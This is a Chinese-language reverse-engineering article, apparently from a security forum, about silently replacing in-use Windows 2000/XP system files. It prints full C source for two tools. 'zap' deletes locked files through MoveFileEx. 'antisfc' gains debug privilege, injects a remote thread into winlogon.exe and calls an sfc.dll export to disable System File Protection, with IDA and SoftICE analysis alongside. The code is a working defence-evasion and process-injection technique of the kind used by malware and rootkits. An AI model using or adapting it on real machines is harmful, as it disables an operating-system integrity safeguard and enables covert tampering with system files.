总是索而不敷总有些过意不去.另外在安焦上灌了两年水竟然安焦文档还找不到一个我的名字. 灌不出篇精华帖子还回复不到别人灌的精华贴. 也算得上是个奇迹了.
要安静地替换正在使用的系统文件要解决两个问题:
1. 替换正在使用的文件.
2. 在替换系统文件时不显示插CD的对话框.
微软有两个工具可以替换正在使用的文件,zap和inuse. 不过都没有源代码, 只好逆向分析了. inuse比较大40K, zap很小7K. 就分析zap了.
用ida打开zap. 就有一个核心函数, 原来它的工作原理是把这个文件移了下位置, 因为比较简单就直接贴上代码.
-------------------cut zap.c---------
#include
BOOL ZapDelFile(char *szFileToDel)
{
char cTempFileName[0x80];
char cTempPathName[0x100];
char cFileName[0x100];
if(szFileToDel[1] == ':'){
sprintf(cTempPathName, "%c:\", szFileToDel[0]);
}
else{
GetModuleFileName(NULL, cFileName, 0x100);
sprintf(cTempPathName, "%c:\", cFileName[0]);
}
if(GetTempFileName(cTempPathName, "_@", 0, cTempFileName) == 0){
return FALSE;
}
if(MoveFileEx(szFileToDel, cTempFileName, 1) == 0){
return FALSE;
}
if(MoveFileEx(cTempFileName, NULL, 4) == 0){
return FALSE;
}
return TRUE;
}
void usage(char *n) {
printf("usage: %s fileNeedToDeln", n);
exit(0);
}
int main(int argc, char* argv[])
{
printf("Zap programed by bgate. :) *nn");
if (argc != 2)
usage(argv[0]);
if(ZapDelFile(argv[1]) == TRUE){
printf("OK");
}
else{
printf("error %d", GetLastError());
}
return 0;
}
-------------------end cat-----------
现在你已经可以用它去删除正在使用的系统文件了, 不过删除之后会弹出让你插入Windows CD对话框.
注意: 删系统文件前做好备份, 在重启前恢复, 另外删系统文件前还需要把dllcache中相应的备份删除. 否则系统会自动恢复.
接下来就想办法去掉这个对话框, 拿出我的法宝--google. 胡乱地搜了一气. 搜到两条有用信息.
1.Windows 2000下执行系统文件保护的代码在sfc.dll中, Xp系统下在sfc_os.dll中.
2.注册表中把一个叫SfcDisable的键设为FFFFFF9D能在下次启动时让文件保护功能失效.
下面的分析是在Win2K sp4+上进行的. 其中分析的sfc.dll版本是5.0.2195.6673
用ida打开sfc.dll在string中找sfcdisable, 没找到! 让string显示Unicode. 这下看到了. 找到对SfcDisable引用的一个地方.代码如下
.text:769269F9 call _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)
.text:769269FE push ebx
.text:769269FF push offset ??_C@_1BG@HOGG@?$AAS?$AAf?$AAc?$AAD?; "SfcDisable"
.text:76926A04 push edi
.text:76926A05 push esi
.text:76926A06 mov _SFCDebug, eax
.text:76926A0B call _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)
.text:76926A10 push ebx
.text:76926A11 push offset ??_C@_1BA@HLJH@?$AAS?$AAf?$AAc?$AAS?$AAc?$AAa?$AAn?$AA?$AA@ ; "SfcScan"
.text:76926A16 push edi
.text:76926A17 push esi
.text:76926A18 mov _SFCDisable, eax
.text:76926A1D call _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)
.text:76926A22 push ebx
.text:76926A23 push offset ??_C@_1BC@KFAJ@?$AAS?$AAf?$AAc?$AAQ?$AAu?$AAo?$AAt?$AAa?$AA?$AA@ ; "SfcQuota"
.text:76926A28 push edi
.text:76926A29 push esi
.text:76926A2A mov _SFCScan, eax
其中_SfcQueryRegDwordWithAlternate@16是读注册表的函数. 很明显, 它把注册表中SfcDisable的值读到了_SFCDisable中. 好, 调出softice. 在_SFCDisable上设断点. 我们又用刚写的zap去删系统文件, softice弹出来了. 断到了下面这个地方, eip为7692A326, _SFCDisable为2.
.text:7692A319 push ecx
.text:7692A31A and [esp+4+var_4], 0
.text:7692A31F cmp _SFCDisable, 3
.text:7692A326 push ebx
.text:7692A327 push ebp
.text:7692A328 push esi
.text:7692A329 push edi
.text:7692A32A jnz short loc_7692A333
.text:7692A32C xor eax, eax
.text:7692A32E jmp loc_7692A459
F5退出, 一会儿对话框弹了出来, 就对这儿引用了一次. 很好, 看看上面这段代码"cmp _SFCDisable, 3". 此时_SFCDisable为2弹出了对话框, 那么我就把它改为3又用zap删系统文件试试. 哈, 运气很好, 这次没出现让插CD的对话框了. 也就是说只要我们把_SFCDisable改为3就能偷偷地替换系统文件了. 不过不同版本这个地址是不一样的, 用switch来做这个活总是不好. 得写个有通用性的代码.
开始我想它的工作原理大概是Winlogon发现了有对系统文件进行操作. 便调用sfc.dll中的输出函数进行检查. 我们就只需得到这个输出函数入口然后把这个函数"注释"掉就可以了.跟着上面这段代码逆流而上, 找到最后由76924544输出, 又在76924544上加个断点, 继续去删文件. softice跳出来了, 不过不在函数的入口, 反倒在刚才设置的对_SFCDisable的读取上, 没运行函数的入口就运行了函数体中的代码, 看来遇到高人了. 非得逼我出必杀技, 打开2000源代码 : ). 找了半天没找到相应代码又只得退回来看汇编, 最后发现了这个函数NtWaitForMultipleObjects. 呵, 难怪没中断在函数的入口上, 原来早运行了函数的入口然后在函数体里一直没退出. 注释函数的方法不行了.
这时我想它的工作原理大概是winlogon调用sfc.dll中的输出函数在系统启动时创建了一系列事件. 既然winlogon创建了, 那么它也应该得撤销. 用depends打开winlogon. 果然从sfc.dll中输入了两个函数. 一个是刚才分析的那个, 创建了一系列事件. 看看另一个, 输出地址是76926869, 不出所料, 关闭了一系列事件. 现在我们只要向winlogon中注入代码调用"另一个"函数就能取消文件保护功能了. 不过winlogon不能随便注入代码. 26A杂志第六期上有篇文章提到了注入方法:"adjust debugger access rightz to our process". 那也是一篇SFCDisable的文章, 他用的方法是在内存中搜索特征码, 然后修改. 通用性应该没这么好.
下面的注入方法是从crazylord的代码中拷过来的, 不过方法不是. :), 写完后就懒得检查了, 加之水平有限, 写的不过优雅的地方就将就着看.
-----------------cut antisfc.c-----------
#include
#include "Windows.h"
#include "Tlhelp32.h"
#pragma comment( lib, "Advapi32.lib" )
typedef void (_stdcall * CLOSEEVENTS)(void);
typedef unsigned long DWORD;
typedef DWORD ANTISFC_ACCESS;
/*
* ANTISFC structures
*/
typedef struct _ANTISFC_PROCESS {
DWORD Pid; // process pid
HANDLE ProcessHandle; // process handle
char ImageName[MAX_PATH]; // image name (not full path)
} ANTISFC_PROCESS, *PANTISFC_PROCESS;
__inline void ErrorMessageBox(char *szAdditionInfo)
{
printf("error on %s, error code %d. n", szAdditionInfo, GetLastError());
}
void usage(char *n) {
printf("usage: %s [/d]n", n);
printf("t/d: disable sfc file protecte fuction.n");
exit(0);
}
DWORD Init() {
DWORD Ret = 0;
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
ErrorMessageBox("OpenProcessToken");
} else {
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
ErrorMessageBox("LookupPrivilegeValue");
} else {
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) {
ErrorMessageBox("AdjustTokenPrivileges");
} else {
Ret = 1;
}
}
CloseHandle(hToken);
}
return(Ret);
}
DWORD GetPidEx(char *proc_name, char *full_path) {
DWORD dwPid=0;
HANDLE hSnapshot;
PROCESSENTRY32 pe;
BOOL Ret;
if (isdigit(proc_name[0]))
dwPid = strtoul(proc_name, NULL, 0);
else
dwPid = -1;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == (HANDLE) -1){
ErrorMessageBox("CreateToolhelp32Snapshot");
return(0);
}
pe.dwSize = sizeof(PROCESSENTRY32);
Ret = Process32First(hSnapshot, &pe);
while (Ret) {
if((strncmp(strlwr(pe.szExeFile), strlwr(proc_name), strlen(proc_name)) == 0)
|| (pe.th32ProcessID == dwPid)) {
dwPid = pe.th32ProcessID;
strcpy(full_path, pe.szExeFile);
break;
}
pe.dwSize = sizeof(PROCESSENTRY32);
Ret = Process32Next(hSnapshot, &pe);
}
CloseHandle(hSnapshot);
if (dwPid == -1)
dwPid = 0;
return(dwPid);
}
DWORD InitProcess(PANTISFC_PROCESS Process, char *proc_name, ANTISFC_ACCESS access) {
DWORD Ret=0;
Process->Pid = GetPidEx(proc_name, Process->ImageName);
if (Process->Pid != 0 && Process->ImageName[0] != 0) {
Process->ProcessHandle = OpenProcess(access, FALSE, Process->Pid);
if (Process->ProcessHandle == NULL)
ErrorMessageBox("OpenProcess");
else
Ret = 1;
}
return(Ret);
}
DWORD InjectThread(PANTISFC_PROCESS Process,
PVOID function) {
HANDLE hThread;
DWORD dwThreadPid = 0, dwState;
hThread = CreateRemoteThread(Process->ProcessHandle,
NULL,
0,
(DWORD (__stdcall *) (void *)) function,
NULL,
0,
&dwThreadPid);
if (hThread == NULL) {
ErrorMessageBox("CreateRemoteThread");
goto cleanup;
}
dwState = WaitForSingleObject(hThread, 4000); // attends 4 secondes
switch (dwState) {
case WAIT_TIMEOUT:
case WAIT_FAILED:
ErrorMessageBox("WaitForSingleObject");
goto cleanup;
case WAIT_OBJECT_0:
break;
default:
ErrorMessageBox("WaitForSingleObject");
goto cleanup;
}
CloseHandle(hThread);
return dwThreadPid;
cleanup:
CloseHandle(hThread);
return 0;
}
int main(int argc, char* argv[])
{
ANTISFC_PROCESS Process;
HMODULE hSfc;
DWORD dwThread;
CLOSEEVENTS pfnCloseEvents;
DWORD dwVersion;
printf("AntiSfc programed by bgate. :) *nn");
if (argc != 2)
usage(argv[0]);
if (strcmp(argv[1], "/d") != 0) {
usage(argv[0]);
}
if (Init()) {
printf("debug privilege setn");
} else {
printf("error on get debug privilegen");
return(0);
}
if(InitProcess(&Process, "winlogon.exe", PROCESS_ALL_ACCESS) == 0) {
printf("error on get process info. n");
return(0);
}
dwVersion = GetVersion();
if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5){ // Windows 2000/XP
if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0){ //Windows 2000
hSfc = LoadLibrary("sfc.dll");
printf("Win2000n");
}
else {//if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1) //Windows XP
hSfc = LoadLibrary("sfc_os.dll");
printf("Windows XPn");
}
}
//else if () //2003?
else {
printf("unsupported versionn");
}
pfnCloseEvents = (CLOSEEVENTS)GetProcAddress(hSfc,
MAKEINTRESOURCE(2));
if(pfnCloseEvents == NULL){
printf("Load the sfc fuction failedn");
FreeLibrary(hSfc);
return(0);
}
FreeLibrary(hSfc);
dwThread = InjectThread(&Process,
pfnCloseEvents);
if(dwThread == 0){
printf("failedn");
}
else{
printf("OKn");
}
CloseHandle(Process.ProcessHandle);
return(0);
}
------------------end cut---------
在运行zap替换系统文件前运行一下antisfc就行了, 你也可以把它们写到一起. 理论上他能在2000, xp, 2003?的任何版本上使用. 不过我只在Win2K sp4+, WinXP sp1+上测试过.
本文的缺点是替换的系统文件只能在重启后生效, 写完了.
相关视频
相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么
热门文章 360快剪辑怎么使用 36金山词霸如何屏幕取词百度收购PPS已敲定!3
最新文章
微信3.6.0测试版更新了微信支付漏洞会造成哪
360快剪辑怎么使用 360快剪辑软件使用方法介酷骑单车是什么 酷骑单车有什么用Apple pay与支付宝有什么区别 Apple pay与贝贝特卖是正品吗 贝贝特卖网可靠吗
人气排行 xp系统停止服务怎么办?xp系统升级win7系统方电脑闹钟怎么设置 win7电脑闹钟怎么设置office2013安装教程图解:手把手教你安装与qq影音闪退怎么办 QQ影音闪退解决方法VeryCD镜像网站逐个数,电驴资料库全集同步推是什么?同步推使用方法介绍QQ2012什么时候出 最新版下载EDiary——一款好用的电子日记本
查看所有0条评论>>